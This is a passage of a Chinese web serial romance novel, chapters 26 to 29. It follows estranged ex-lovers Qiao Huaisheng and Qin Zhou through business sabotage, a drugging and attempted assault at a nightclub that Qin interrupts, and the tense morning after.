正要准备出门。 “你要是把门开了,等会儿我在的时候它是不是还是坏的?” 乔淮生的声音从身后响起,秦舟握着门把的手指一顿。 “不出门也可以,”乔淮生伸出手, “手机还我。” 秦舟不动了。 乔淮生匪夷所思挑起眉:“你不会真的是怕我报警吧?” 秦舟盯了他一会儿:“那你会走吗?” “我倒没有某些人那么没信用。”乔淮生说,“说过的话可以当作没发生。” 他的刀子总是越来越精准,秦舟于是不再说话了,只是沉默着将刚刚扔出去的手机又捡回来,递给乔淮生。 乔淮生拿起来看了一眼,秦舟的视线却在盯着他,像是一条即将被主人抛弃的狗,明明都已经快到了门口还在回头。 “我开完之后门不会坏,”秦舟说,“你可以先回去。” “中午吃花胶鸡可以吗?我去买菜。” 他叮嘱道,好像是知道乔淮生说过的话就一定会做到,于是故意这样问。 乔淮生抬头看了他一眼,终于在这样的视线里忍无可忍:“我跟你一起去。” 还没等秦舟因为他的伤拒绝,乔淮生就已经起了身。 秦舟上下扫了一眼他的腿,乔淮生却已经知道他要说什么:“你要是敢给我找拐杖我就把你从二十八楼扔下去。” 秦舟轻轻地笑了声,刚刚还死活不动的电梯十分顺畅地停在了他们门口,他道:“我开车去。” 车子平稳地停下,仔细想想,乔淮生和秦舟已经很久没有一起逛过超市了。 这样的行为会给人一种错觉,好像是他们还和以前一样,从来也没有分别,没有背叛,没有横亘在他们之间的那些仇恨。 只是逛到一半,秦舟的手机突然响了起来。 他看了乔淮生一眼,却绕了一个区才接的电话:“喂?” “秦总你终于回信了!”那边一听到声音几乎要喜极而泣,“你什么时候回来啊?” “这边的镇长我看过了,人长得倒挺老实,但是测评书总归没有眼见的安心,我们说等你回来了一起去现场看看。” “您什么时候的飞机,我跟团队去机场接您,顺便跟您汇报一下最近的情况,秦总?” 乔淮生站在旁边,看着秦舟一边接着电话,一边从几把青菜里选出最新鲜最饱满的一颗,将它扔进购物车。 秦舟选东西一向很细致,好像是拿出做题的态度来研究它们的生长走势,以前乔淮生等得无聊,很喜欢对着顾舟的背后画圈圈,用手指书写他们两个的名字,又在旁边坠上爱心与玫瑰。 “清蒸东星斑也不错,”乔淮生一边描绘玫瑰的花纹一边道,“现在这个季节正是新……” 他的话说到一半,才发现顾舟的动作停了下来,正盯着旁边的价位。 那确实是乔淮生人生中过得最困苦的一段日子,他很快意识到了什么,勾起唇角笑笑:“其实也没有那么好吃。” “你上次做的那个手撕鸡也不错,我去找找有没有柠檬。” 他说着就要走,却听到顾舟在他身后道:“对不起。” “干嘛说对不起,”乔淮生没回头,“明明是我离家出走来找你,害得你自己有家也回不去。” “哎柠檬好像是在……” 乔淮生是向来不让人尴尬的,可是顾舟却没有就这样掠过过这个话题:“今天就吃东星斑。” “乔淮生,”顾舟注视着他的背影,好像在遥望他们之间的距离,“你再等一等,我不会再让你跟着我受委屈。” 电话那头还在催促,秦舟略略回过头。 看着乔淮生一个人站在路口旁,望着前方的样子是那样萧索,明明已经将人绑在了身边,连身上的衣服都是自己一手置办,可还是给人一种随时都会消失的错觉。 “我暂时先不回去了,”秦舟说,“勘察的事你跟王诚一起去吧,注意看一下地质和匹配度就行。” “什么?这个项目可关系到清江湾,您当时不是说一定要赢的吗,怎么能说不回来就不回来,秦总你在那边还有什么事吗,秦总?!” 秦舟抬手挂断了电话。 “在想什么?” 秦舟走到乔淮生身边,将漂走的视线给拉回来。 “没什么。” 乔淮生回过神,一只手把玩着旁边超市放的装饰树,他当然知道秦舟接的那通电话是什么。 事实上,秦舟的项目进展,他比任何人都清楚。 乔淮生微微勾了勾唇角:“中午想吃东星斑。” “行。”秦舟往点点头。 乔淮生看着他让人挑了两只最大最好的,细细地清理了,超市的人一看他的穿着和出手,还欢喜地又送了几道配菜。 秦舟将东西拎回来,又问他:“还有什么想吃的吗?” “没有了。” 其实东星斑真的也没有很好吃,秦舟在厨房忙碌的时候,乔淮生如是想。 当时觉得还要那么难才能等到的东西,现在真的轻而易举就可以得到了,却已经再也回不去了。 等得无聊,乔淮生找了部电影看,一只手把玩着客厅里的装饰树。 原本僵硬的枝条在他手中弯弯曲曲,渐渐地被掰成姿态蜿蜒的盆景,看起来像是什么园艺里的手工摆件,只是枝头上光秃秃的,乔淮生盯着看了很久, 等他回过神的时候,才发现秦舟已经靠在厨房的门边,不知道看了他多久。 “看什么?” “挺漂亮的,”乔淮生向来很有艺术审美,从前顾舟就这样觉得,只是他那时候总是沉默,想来很多该好好说的话,从来也没有说过,于是他又补充道,“你很有天分。” 乔淮生微一挑眉,显然是不太信任。 于是秦舟蹲下身来,不知道从哪摸出了几只小橘子,准备作为装饰品挂上去:“加点这个可以吗?” “你还会这个?” “在国外的时候学了点。” “我记得你之前不喜欢这些。” 秦舟于是将那两只小橘子挂了上去:“我前男友喜欢。” 学着乔淮生喜欢的一切的时候,好像能想象出他在身边做着这些的样子,秦舟眉眼低垂,做事的样子严肃又认真。 乔淮生微微眨了下眼睛,手机却在这个时候响了一声。 “乔总,秦舟的项目组去了计划好的地方,鱼上钩了。” 手机在手中按亮又熄灭,乔淮生盯着秦舟的眉眼:“不是做饭的呢,来这里做什么?” “给你送这个。” 秦舟这才站起身,将新做好的一盒东西放到乔淮生面前。 盒子里一排码好的糖渍青桔,颗颗饱满晶莹,乔淮生甚至都不知道他什么时候把这些东西放进的购物车。 “我不是说过不要再拿……” 不要再拿他逝前男友的东西出来卖弄。 “所以这个是我前男友喜欢的。” 秦舟却蹲下身,打断他,“乔总赏个脸品鉴一下?” 乔淮生长长的睫毛颤抖了下,看着秦舟认真又温柔的神情:“试了很久才找到以前的味道,可惜也没能送出去,其实……也只是想让他好好吃点饭。” “你可以帮我试试这次行不行吗?” 其实是行的。 怎么不行呢? 两人的手机静静地摆在一起,电视里还在播放着刚刚投屏的电影,男女主历经千辛万苦终于在一起,男主放弃了家族的责任和仇恨来见女主,却还是按照当初的约定敲门,三长一短,一共四声。 真是烂俗的三流爱情片,怪不得被人骂洗钱。 好在也不是什么名导,导演的那一栏出来,实在是不见经传。 还会有人记得这部电影的名字吗? 所以,正是因为这样,已经发生过的事情,怎么能当做什么都没有就这样过下去呢? 乔淮生想起手机的短信,很轻地勾了勾唇角。 不过也很快了,等到一切结束,他就可以重新和他的顾舟过上当初的日子。 只要将他背叛自己所得到的一切收回来就好了。 乔淮生拿起糖渍青桔吃了一口,味道果然和之前一样,好像他又一次站在小推车前,望向那个说句话就会脸红的少年。 永远忠诚,永远体贴,永远会在他受到任何伤害的时候站到身后。 “你前男友品味不错。”乔淮生说。 秦舟终于笑了起来。 “嗯。”秦舟凝视着乔淮生的脸,凝视着漂亮的眉眼和那颗生动到令人想要触碰的痣,凝视他身边化腐朽为神奇的盆景,凝视他眼中已经报完字幕的电影和伤痕累累又风度翩翩的如今,目光赤裸且晦暗: “你前男友品味也不错。” 第27章 第二十七章 “欲擒故纵” 乔淮生还真的在家里养了几天的伤。 郁明偶尔会来汇报一些公司的情况, 拿一些文件给他签字,公司的资金都被挪到了陵山的项目上, 坐不住的莫骁果然找银行加了杠杆去推进程,按照乔淮生的估计,这笔钱现在应该也快到还款的期限了。 “莫骁说,今天晚上欢宴那里有场局,想要约您一起过去。” “嗯。” 乔淮生点点头,目光却盯着对面花瓶插着的一束花:“你下次过来的时候,帮我带几支香雪兰和春兰叶。” “好……乔总你是要送人吗?要不然我直接寄……” “不是, ”乔淮生说,“当个配花。” 桌上的那束花是秦舟买的。 “仔细想想,当初好像也没有好好送过前男友花, 不然乔总帮忙看看这束可以吗?” 于是这束花就这样插在了乔淮生的客厅。 只是秦舟一看就是这么多年没跟别人送过花,哪有人送玫瑰就只送玫瑰, 连点儿配花都不用的。 这样的画面实在对乔淮生的眼睛很不友好,忍无可忍, 只有自己帮他重新弥补一下。 但是乔淮生从前是从来不收小情人的任何东西的, 甚至连家门都没人让人进过, 难道是现在遇到真爱了? 郁明一边应声,一边狐疑地思索着, 却在电梯门关闭的最后一秒,猛地抬头看了眼。 一道熟悉的身影从乔淮生的隔壁出来,他转身的那一刹那, 郁明几乎看清了他的脸—— 天哪!秦舟?! 更匪夷所思的是,秦舟手里还抱了一束花! 一只手拿着花,秦舟连密码都没问,就轻车熟路地开了乔淮生家的门。 熟稔地走到客厅, 将怀中抱着的花拆出来剪枝,乔淮生看着他将香雪兰和春兰叶整理好插进花瓶里,几乎是下意识看了眼客厅的四周角落。 “怎么突然买花过来了?” “昨天回去搜了一下,都说单一花材太死板,”秦舟一只手握着花枝,还要注意着形状的高低错落,等插好了才转头问乔淮生,态度认真道好像是在钻研数学题,“现在有好点了吗?” 不过好在,秦舟从小到大一直是个学霸。 郁明的消息弹个不停,从乔淮生是不是被绑架到秦舟可能在花里下什么图谋不轨的迷香,乔淮生却只回了一句:“不用带了。” 说完这句,他这才抬起头:“我来看看。” 乔淮生巡视了一圈验收成果,指了指中央的那只香雪兰:“这个,太长了。” “长枝放到边缘修饰就行。” “好,”秦舟点点头,乖乖地拿起剪刀去剪,一只手却又揽着乔淮生的腰身,让他站到旁边,温声提醒,“别这样蹲着,小心腿。” “昨天医生说,”乔淮生注视着他的温柔又认真的眉眼,开口道,“我腿已经好了。” 秦舟剪着花的手一顿。 说是照顾其实也没有办法做一辈子的□□,他们这样的关系算什么呢? 打着前男友的名义不清不楚的纠缠,没人询问,却只有人装傻。 “昨天买了点菜放冰箱了,”秦舟答非所问,“去看看有没有想吃的?” “这些不是吗?” 除了花,秦舟还让人送了一个水箱过来,乔淮生没去冰箱,先拿了把剪刀帮他拆开了:“里面是……” “小心!” 一条黑鱼猛地蹦了出来,乔淮生吓了一跳,猛地向后一退,却在磕到沙发角的时候被人一拦,手臂勾住腰身带到了身后。 活泼的鱼在空中划了个弧线,和带着腥味的水一起砸落到地上,乔淮生被挡得严严实实,秦舟却被落了一身。 黑鱼在脚尖蹦跶了下,被秦舟一脚踢到墙边,他手中还拿着刚刚剪花枝用的剪刀,没来得及扔掉,却下意识在抱住乔淮生的时候转了个方向,将刀尖对准自己。 好在没有伤到,只略略划破点衣袖。 秦舟回过头,表情有些无奈:“乔总,水箱和冰箱应该还是不一样的?” 乔淮生永远对自己未知的食物和技能充满好奇,比如绿色的糖葫芦,比如未拆封的水产,比如曾经央求某人教过的打架。 顾舟曾经为此收拾过不少烂摊子,于是乔淮生丝毫不觉得这有什么不正常,反而是迅速后退一步,跟浑身鱼腥味的秦舟划清界限:“一身的味儿,别碰我。” “我以为乔总最起码还应该有点人道关怀。” “我的人道关怀就是帮你开门让你回家洗澡换衣服。” 乔淮生替他打开门,像是察觉到秦舟的视线,于是道:“看什么,我这里又没有你尺码的衣服。” “如果乔总同意,我也不是不能自己带过来。” “带过来做什么?” 乔淮生或许听懂了秦舟的暗示,只是佯装不知,依然调笑道:“我这里庙小,可没有保姆房。” 秦舟微微眯起眼睛,倒也不见生气,只是朝着他走了一步。 乔淮生半边身子靠上墙壁,摆出一副抗拒的姿势:“我警告你别……” 身子离乔淮生半寸的地方停下,终究没有让浑身的污秽接触到他,只是伸出手,将落到乔淮生鼻尖的一点水给抹去了。 他手指有些凉,动作却很温柔,分明过分凌厉的眼睛在望向他时总是过分温情。秦舟微微勾了下唇角,语气带着点无奈的妥协,很久以前,他就是对乔淮生一点办法都没有的:“那我回去换身衣服。” “秦舟……”鲜花,烟火,与过分相似的眉眼,乔淮生的眼睫颤了颤,一瞬间觉得自己似乎回到了当初,“你……” “怎么了?” 手指掐进掌心,疼痛唤回了些神志,让乔淮生从这样的温柔里清醒过来,他忽然又笑了下:“没什么,赶紧回来把你的鱼带走。” “好,”秦舟也笑了下,没有去追究他躲开的眉眼,只是道:“先放着别动,等我回来收拾。” “知道了。” 乔淮生望着秦舟的背影,从他被水打湿的西装到微微破损的袖口,直到秦舟的手指搭上把手,用力地沉了沉呼吸,终于开口道:“晚饭不用做了,我有事要出去一趟。” “好,”秦舟不疑有他,只是说,“我送你吧。” 乔淮生在车上的时候,秦舟一向开得比谁都平稳,车子稳稳在“欢宴”门口停下,秦舟看了眼里面灯红酒绿的样子,才微微皱了下眉:“来这里谈生意?” “怎么了?” “没……”秦舟知道自己没有说什么的立场,只是绕到另一侧替乔淮生打开车门,“你腿上有伤,我陪你去吧。” 乔淮生却绕过他下了车,双腿修长,步伐有力,西装裤下是依稀的肌肉线条,又重复了一遍:“我的伤已经好了。” “可是……” “没有什么可是,”乔淮生转头望向他,原本漂亮的眉眼显得过分冷漠,“当初说让你负责只是一句玩笑话,但即便是这样,按照我们的身份,陪我谈生意应该也不在这份照顾里。” 秦舟不由得拧起了眉。 早上还开着玩笑的人,此刻却摆出一副拒人千里的样子,这样的反复无常不像是乔淮生平时待人接物的样子。 倒像是……在刻意强迫自己划清界限似的。 秦舟想要上前,乔淮生却后退一步:“你也该回宁市了吧,秦舟。” 明明是他想尽办法让人留下来,这个时候却又冷淡地将人往外推: “纵缰的董事,应该也没有这么闲?” 秦舟盯着他,总是温和的目光终于带了几分审视的严肃:“为什么?” 他们这些天明明相处的很好,习惯,默契,言语,从来也没有不舒服的地方,所以为什么? “你在害怕吗,”秦舟问,“乔淮生?” 乔淮生轻笑了一声,却不看他,但越是这种时候却越像是心虚:“我害怕什么。” “反正玩忽职守的又不是我,秦总被董事会弹劾的时候,可别又把罪算在我的头上。” 他说完,也不待秦舟回答,转身往会所走去。 秦舟望着他的背影,微微眯起了眼睛。 台阶刚上到第二步,乔淮生的手机就响了起来。 “爸?” “崇山那边的项目怎么样?”听筒那边传来声音。 “一切都很顺利,”乔淮生说,“那镇长贿赂了工程里的两个人,如果秦舟不回去,他们应该很快就会签合同了。” “那就好,”虽然是满意的话语,但是乔南山的语气听起来还是很冷,听筒里的声音也很嘈杂,“我今天来看你妈妈了。” 乔淮生的脚步蓦地一顿。 “生生?是生生吗?生生你来看妈妈了?生生!!生生你在哪里!!!” 女人歇斯底里的声音在耳廓边响起,不一会儿,便传来被护士压着按倒的声音。 乔淮生深深地吸了口气,但语气还是笑着的:“夫妻感情也没有那么好,还是不要总是打扰我妈了吧。” “反正秦舟也回不去,不是吗?” “回不去就好,”乔南山语气沉沉,“我还以为你忙着过邻里乡亲的二人世界,忘了自己姓什么呢?” “或者……不知道什么突然想起旧情,偷偷透露消息,就下不了狠手了。” 可是房子是临时租的,而他问秦舟要不要回去……就在刚刚。 赛车场上发生的事,第二天乔南山就能知道得原原本本。 心中油然一股恶寒,乔淮生几乎下意识看了眼自己手中……还在亮着的手机屏幕。 久违的阴森和窒息感爬上心头,乔淮生死死地掐着掌心,熟悉的疼痛感唤回的神志,让他在这种时候还能维持着虚伪的笑容:“那怎么会?” “你还是太久不谈恋爱了爸,难道不知道什么叫——” “欲擒故纵。” 头顶的摄像闪着红光,乔淮生微微笑了声,神色无恙地往里走去:“我越是这样,他只会越觉得我就是旧情复燃了想要逃避。” “不然,你以为我为什么虚与委蛇的陪他演这么久的戏。” 明明之前见一面都恨不得打一架的人,现在竟然可以心平气和在同一个屋檐下待这么久,除了刻意伪装,还能是什么呢? 期待越是高,到时候摔下来的时候,也就会越痛。 路过旋转门的时候,乔淮生偏过头,透过镜面的反光望了眼依然站在原地的秦舟: “不用失去什么就能获得和好如初的机会,这么好的机会,他这种人怎么可能会放过。” “所以,”乔淮生微微一笑,“他跑不了。” “乔总!” 乔淮生一进门,就有人激动地迎过来:“来来来,在这边。” “先生?先生?” 门口的侍者唤了半天,秦舟终于回过了神。 “先生?”侍者道,“门口这里不能停车,如果您只是送人的话需要……” “不是。” 秦舟死死盯着那人揽在乔淮生腰身的手,似乎能用视线将那块皮肤撕下来擦干净,将车钥匙往侍者手里一丢:“帮我泊车。” “我来找人。” 第28章 第二十八章 “秦舟狠狠地吻上了乔淮生…… “乔总来了!来来来!” 乔淮生一推门, 就看到正坐在中间的莫骁,陪酒的人识趣让出中间的位置, 等乔淮生往里一坐,又立刻拥上去。 “乔总喜欢喝什么,红的还是白的?” “刚出院,”乔淮生低头望了眼,笑意却不达眼底,“出来的时候特地交代过,不让喝酒。” “医嘱的话听听就行了乔总, 都按医生的做,那我们还要不要活了,”刺鼻的香水味扑过来, “来,我来陪乔总喝一杯!” 酒杯递到跟前, 却在下一秒被卡住了手腕,乔淮生笑容未敛, 可那眼神却是冷的:“我说不喝。” 小明星一个激灵, 立刻将手缩了回去。 莫骁静静地看着这一切, 看着乔淮生因为冰冷的神情和眼下那颗过分漂亮的红痣,喉结滚了滚。 “是我考虑不周, ”莫骁抬手给自己倒了一杯,“还以为乔总会喜欢。” 他说着一饮而尽,动作带着几分急不可耐的玩味:“先给乔总赔个罪。” “有事就直说吧。”乔淮生并没有理他的客套:“莫总找我过来, 应该也不是为了深夜买醉?” “是,”莫骁把玩着手中的酒杯,“乔总霹雳手段,刚来锦城这么几天, 连银行都跟您一个鼻孔出气了,我这不是来求您开恩了嘛。” 乔淮生不喝酒,莫骁跟他放在桌上的果汁碰了下: “只要乔总能高抬贵手,这次回去之后,我们跟总部的分成每年再多加五个点,您在乔董那里也有个交代,”莫骁说着,又微微凑近,压低声音道,“另外两个点,给乔总拜年的时候,我亲自带给您。” 语气里加重了“您”这个字,就算再是老子儿子,总还是希望有自己不受监管的私产——莫骁不信乔淮生不对此动心。 而且……他离得过近,几乎可以嗅到乔淮生脖颈处散发的淡淡的幽香,和那总是运筹帷幄的漂亮眼眸,西装的衣扣今天扣到了脖颈,在这样的酒局里,反倒多了几分性感的魅力。 “够吗,乔总?” “当然不够。” 乔淮生微微一瞥,双腿懒散地交叠,垂下眼眸望他:“想让我高抬贵手也可以,我不要分红,莫总必须跟我签署一致行动人协议。” 签署一致行动人,意味着从此以后,莫骁的决定必须跟恒盛共进退,和简单的上供交点钱可差远了,眼眸微微眯起,刚要开口,乔淮生却又道:“为期两年。” 他丝毫不给莫骁讨价还价的机会,直接打了明牌。 “低于这个期限我不会考虑,莫总可以自己想想清楚。” 莫骁脸上的笑瞬间消失了。 乔淮生永远有个本事,将他计划好的牌打乱,然后一手掀了牌桌。 他看着乔淮生漫不经心地整整衣领,好像半秒钟都不愿意跟他多待:“还有别的事吗?” “没有的话,我家里还喂着东西。” 乔淮生说着就要起身,一圈子侍应生早在两人开始谈生意的时候就识趣地借口拿酒离开,乔淮生刚刚到门口,莫骁突然叫住了他:“乔总。” 他抬起眼,凝视乔淮生过分勾人的面孔和修长的双腿:“想让我答应也可以。” “我也有一个条件。” “什么?” 莫骁静静地注视他:“你跟我结婚。” “你说什么?” “婚姻关系是最牢靠的一致行为人,不是吗?”莫骁说着,缓缓地朝乔淮生走过去,“只有这样,我才不会担心你会背叛我们之间的共同利益,你也可以顺理成章的将锦盛变成自己的私产。” “反正乔总现在也没有成家,对我们来说,这岂不是很划算?” “我不会在意乔总之间的那些风流史,而且……”莫骁缓缓地注视着乔淮生的面容,那只手几乎要碰上去,“不管乔总喜欢什么,我都可以乖乖配合。” 乔淮生匪夷所思地看了他一眼:“你疯了吗?” “当然没有。” 莫骁说:“事实上,从你第一次出现在公司,坐在上面望向我的第一眼,我就这么想了。” 他的视线里是毫不掩饰的赤.裸.欲望,手指轻轻地滑过乔淮生的脸颊:“你的这双眼睛,那么冷,又那么漂亮,我当天晚上就幻想过你是如何在一片潮红里望向我。” 莫骁轻轻地笑了声:“反正我们都自私又奸诈,难道不是天生一对吗?” “我还准备了很多东西,”他微微俯下身,原本比乔淮生高上半头的身高在这个时候却显出几分臣服的姿态,乔淮生的视线越是冷淡厌恶,莫骁反而越显得兴奋,“今天晚上,你可以尽情地对我使用……” “滚!” 乔淮生拧起眉,一只手拎起莫骁的领子,狠狠地向后一砸:“你算是什么东西?” “我每天看过的人那么多,你以为自己很特殊吗?觉得自己很了解我?” 乔淮生神色冷峻,轻蔑地望着他:“如果不是你在这个位置,我根本连看都不会看你一眼!” “我生平最讨厌别人要挟我,不想合作也可以,”乔淮生道,“你以为我真的很在乎你的那点权利和分红吗?” 五年前他就这样说过,可是没有人信,时至今日依然没有人信。 不过也没有关系。 乔淮生轻笑了声:“我告诉你,就算是把这个公司毁了,我也不会答应你。” “明白了吗?” 说罢,乔淮生手一松,一脚踹在了莫骁身上。 身体重重地砸上酒桌,旁边的酒瓶落了一地,乔淮生却看都不看,转身就走。 手指搭上门把,整个人却忽然摇晃了下。 一股灼热涌上全身,让他几乎站立不住,这种熟悉的感觉让乔淮生立刻就意识到了正在经历什么。 他回过头,冷冷地看了莫骁一眼:“你……” 乔淮生想起了莫骁与自己碰过的杯子。 “可是乔总……”莫骁笑着站起身,他唇角都沾上了点血,可是眼眸中却依然满是兴味:“你越是这么说,我越想要得到你了,怎么办呢?” “看看你现在的样子,多美……” 莫骁欣赏着乔淮生呼吸急促,他失去力气倒下的模样,俯下身,手指沿着他的脚踝缓缓上抚:“那些被你调.教的小明星们,肯定都没有福分见过你现在这个样子吧?” “滚……你他妈的……” 乔淮生手指够到旁边的碎片,玻璃握在掌心,正要用力扎下去! 砰! 房门突然被一脚踹开,来人出手迅疾,几乎一把将莫骁拉了起来,狠狠地一拳砸在了他的脸上! “你他妈的!谁!” 莫骁猛地站了起来试图反击,房间中传来噼里啪啦的破碎声和拳拳到肉的闷哼, 可他毕竟只是个养尊处优的总裁,并不如野路子的心狠凌厉,很快被人提着摔在墙上,背对着的那人身形高大又熟悉,愤怒几乎如有实质。 乔淮生微微勾起唇笑了下,终于放心地松开了手中的碎片,在莫骁被打死之前终于开口:“秦舟!” 秦舟的动作一顿,乔淮生微微向后靠了靠,好借助沙发的力气起身:“……过来。” “你别动!” 秦舟这才松开手,一把拂开碎片,好让它们不要碰到乔淮生,随后单手将人抱起,西装因此被崩出褶皱,一脚踹开了旁边包厢的门。 乔淮生被人放在柔软的大床上,身体无法平息的燥热让他像条蛇一样的扭动,秦舟一只手握着他的脚踝,用力到都让人感觉到了疼痛,像是要把别人留下的痕迹全部擦去。 “他还碰了你哪里?” 秦舟一只手抚摸乔淮生的脸颊,眼尾因为愤怒而变得发红:“我要杀了他。” 乔淮生没有回答,他的意识能撑到这里已经实属不易,只能本能地朝着冰凉的地方靠近,唇角碰到他的指尖,呼吸越来越急促:“闭嘴……” “帮我……快点……” 一只手沿着小腹拂到下身,衣扣被挑开,这还是他回国后乔淮生第一次对他如此主动,可是那只手却没有急着动作,他只是死死地盯着乔淮生朦胧的双眼,一只手握着他下巴,强迫他抬起眼睛:“生生,看着我。” 那些对莫骁的轻蔑与无视也会降临到他的身上吗? 如果不是他现在的位置,乔淮生会这样看着他吗? 会的吧,会的吧。 秦舟手指轻轻地抚过颤抖的皮肤,感受着乔淮生呼吸时的灼热与难耐。 起码,他让自己进了家门,收了自己的花,起码他现在这副诱人的样子,是躺在自己的怀里。 “生生,”秦舟手指微顿,眼眸深深,让乔淮生不得不从那样的状态里抽离出来望着自己,“我是谁?” 戛然而止的状态让乔淮生的脖颈如同濒死的天鹅般仰起,不由自主地动了下身体,想要从秦舟的怀中抽离,可腰身刚刚一动,就被秦舟更紧地抓了回来:“为什么要躲?” 为什么要躲?明明是他先夺过方向盘救了他,明明是他先向他喊痛,明明是对视的时候他也蹭情动,为什么不承认为什么视而不见为什么要让他离开? 他等了五年才重新回到他的身边……从他重新见到乔淮生的那一刻,就注定不可能再放手。 “看着我的眼睛,”秦舟靠近他,半是诱哄半是哀求,知慕少艾,他比乔淮生自己更知道如何让他快乐,当然也更知道如何让他折磨,“告诉我,我是谁?” “你现在想的人……是谁?” 乔淮生眨了眨眼睛,他的一双眸子已经被水浸透,连那眼尾的痣都染上了潮红,愣愣地注视着秦舟的面容:“……顾舟。” 秦舟神色一痛,乔淮生却在这个时候轻轻地笑了下:“你终于回来了。” “那个时候你没来,我……” 没有再听下去,秦舟手指用力,狠狠地吻上了乔淮生的唇。 第29章 第二十九章 “训狗” 秦舟几乎一夜没睡。 乔淮生身体不太好, 之前就曾经因为这个发过高烧,即便是解决了, 还要时刻留心着温度——当然,这个过程秦舟是甘之如饴的。 虽然没有做到最后一步,但这样静静地怀抱着乔淮生的机会,已经在五年里演习了无数遍,熟悉的香气钻进鼻腔,全身上下的每一个细胞都在喟叹着满足。 即便是现在是世界末日,秦舟都愿意让陨石先砸落到自己身上。 他忍不住又亲了亲乔淮生的发顶, 直到快到天明,怀中的人体温正常,秦舟才将人拥紧闭上眼睛。 可那一瞬间, 昨天晚上找不到乔淮生时的惶恐又卷土重来,秦舟一瞬间仿佛又回到了那个小小的电击房里, 耳边只能听到痛苦的嘶吼,心脏好似被一千根针同时扎穿, 痛得他几乎要弯下腰去, 用力地想要嘶吼, 却传不出任何声音。 冷汗顺着额头流下来,心跳骤然加快, 秦舟猛地坐了起来。 “怎么了?” 乔淮生却已经醒了,正靠在墙边整理衣服,淡淡地看了他一眼:“被折腾一夜的人是我, 你装出这副样子干什么?” 秦舟手指攥紧,深深地盯盯乔淮生的眼睛:“乔淮生?” “嗯。” “乔淮生?” “干什么?” 周围还残留着那人的气息,可是靠得越近失去的时刻怎么就越清晰,秦舟开口, 嗓音带着微微的沙哑:“你叫一声我的名字。” “你有病,”清醒的时乔淮生并不惯他,“我是不是还要帮你起个昵称方便办事的时候调情?” 但是秦舟依然紧紧地盯着他。 乔淮生只得不情不愿:“秦舟。” 熟悉的声音传进耳膜,过快的心跳这才松了一瞬,秦舟掌心冰冷,那惨叫声依然响在耳边,几乎下意识地下床揽住乔淮生的肩。 “别碰我,”乔淮生却一下子躲开了,“洗手了吗你?” 就算是意识不清,乔淮生也依稀记得秦舟昨天晚上用这双手做过什么。 手掌一瞬间落了空,秦舟轻轻地吸了口气,却依然撑出一个微笑来:“好。” 他望着乔淮生,却依然状似无意地问:“那我回去拿换洗衣服?” 这个问句像是一个试探,内心的饥渴好似永远无法被填满,秦舟明知道他们没可能再回到之前的关系,却依然固执地,想要为这样缥缈的牵扯求一个维系的可能。 “秦舟,”乔淮生说,“你该不会因为过了昨晚,我们的关系就有什么飞跃性的改变吧?” 他面无表情地扣上了衬衫的最后一颗纽扣,甚至都没有询问上面鲜红的吻痕。 秦舟的脸色一瞬间变得阴沉。 为什么不可以呢?如果一段关系最后的结局是这个,那为什么他们新的开始不可以? 如果真的是这样,那他们这么多天算什么?那个未完成的吻算什么?乔淮生的躲闪又算什么?难道他就没有片刻的犹豫? “没有吗?”秦舟盯着那被覆盖住的痕迹,轻轻地笑了声,“难道昨天叫着我的名字求着我做……” “秦舟。”乔淮生嘴唇被昨夜咬得嫣红,声音却妩媚,“是这样叫吗?” 秦舟脸上的笑刹那一顿,他反倒轻笑了声:“又不是十几二十岁的学生了,不用这么守身如玉吧?” 乔淮生上下扫了他一眼,表情中带着几分戏谑:“还是说,你在国外这些年,连个人也没有找过?” 这语气不像是旧情不像是复燃也不像是介意,甚至带着几分陌生的打量与好奇:“不会吧,难道真没有?” 但是乔淮生从前喜欢一个人的时候,是连他通讯录上多一个人都不愿意的。 秦舟脸色煞白,浑身的血液都像是被冻住。 他开始思考是不是自己弄错了什么,也许乔淮生从来就不在意,可一旦想起这个问题——那种针尖刺进皮肤的感觉就会卷土重来。 “等等,”秦舟刚刚想走,乔淮生忽然又叫住了他,像是往常一样开口道,“中午想吃海鲜粥。” “……” 秦舟嘴巴张了张,几乎是下意识地想要答应,可最终却也没有发出声音。 发生了也当没有发生过,介意了也当没有介意过,他们这种关系算什么呢? 秦舟花了一些时间在楼下散步。 又花了一些时间在超市里挑选鲜虾。 又花了些时间在花店里挑选合适的玫瑰——其实他觉得乔淮生最合适卡罗拉,但是乔淮生说红玫瑰很土,不过没关系,他愿意为了他去学习那些本不属于自己的艺术和审美。 就像是现在……即便是乔淮生不愿意提起,他也可以就这样配合他当做什么都没有发生过。 起码现在这里只有他们两个人,都说了要照顾乔淮生,他来锦城不就是为了这个吗? 秦舟这样想着,却忍不住在心中自嘲——好像是果真成乔淮生饲养的一条狗,明明是一个命令般的指令,都能从中获得一点归属感。 手上拎着买好的东西,秦舟一只手按下密码推开门—— “乔总粥里我放虾可以吗?” 清脆的声音响起,带着些卖乖的讨好:“我听说郁助说你腿伤啦,现在好点了吗?不然我再放点猪蹄?以形补形。” 秦舟一转头,看到了一个熟悉的、却不该出现在这里的人——宁斯与。 秦舟从看到的第一眼就讨厌这个人。 而现在,宁斯与穿着围裙,正站在他每天待着的灶台边,秦舟强迫症按照顺序摆好的调料被他弄得乱七八糟,正到处去找生姜。 许是察觉到背后太过冰冷的视线,宁斯与这才回过头:“秦、秦总,”他还试图解释了下,“那个……我是来锦城参加学术研讨会的,听说乔总在,所以我就,就来看看他。” 可是秦舟的目光却并不望向他,只是转过头,紧紧地盯着乔淮生。 秦舟知道自己现在的样子很像是怨夫吗? 刚刚在一起的时候,顾舟总是一副冰山脸,乔淮生用了很多办法好让他的脸上出现一点别的表情,如果他当时有现在的样子……他当时估计也不用患得患失了。 只可惜最后还是失去了。 于是只乔淮生在心里嗤了声,并没有心软,就像是秦舟足够了解怎么让他舒服一样——他也足够了解怎么让秦舟难受。 秦舟看着乔淮生抬起眼,目光缓缓地扫过他,望见他手中拎着的东西的时候,微一挑眉,似乎是诧异了一瞬,不知是诧异他会回来还是诧异他跟宁斯与买了一样的东西。 秦舟宁可他奚落嘲讽告诉他是因为生气才让宁斯与进门,但是乔淮生只是轻轻地望了他一眼,便道:“那不然……你换一个菜?” 手中的玫瑰握紧,秦舟的脸色瞬间沉了下去。 “哎呀,看来是我来的不巧?” 声音出现在身后,莫骁一条胳膊打着石膏,脸上也挂了彩,却也不影响他一只手抱着花,像只恶心的孔雀一样到处开屏:“乔总,昨晚还开心吗?” 手中的袋子扔到地上,秦舟几乎一拳就要砸上去。 “秦舟!”乔淮生终于叫了他一声,却是为了别人,“是我叫他过来的。” 乔淮生说完,望向莫骁:“我的提议,你应该已经考虑清楚了?” “都去医院跑了一趟了,那是当然。” 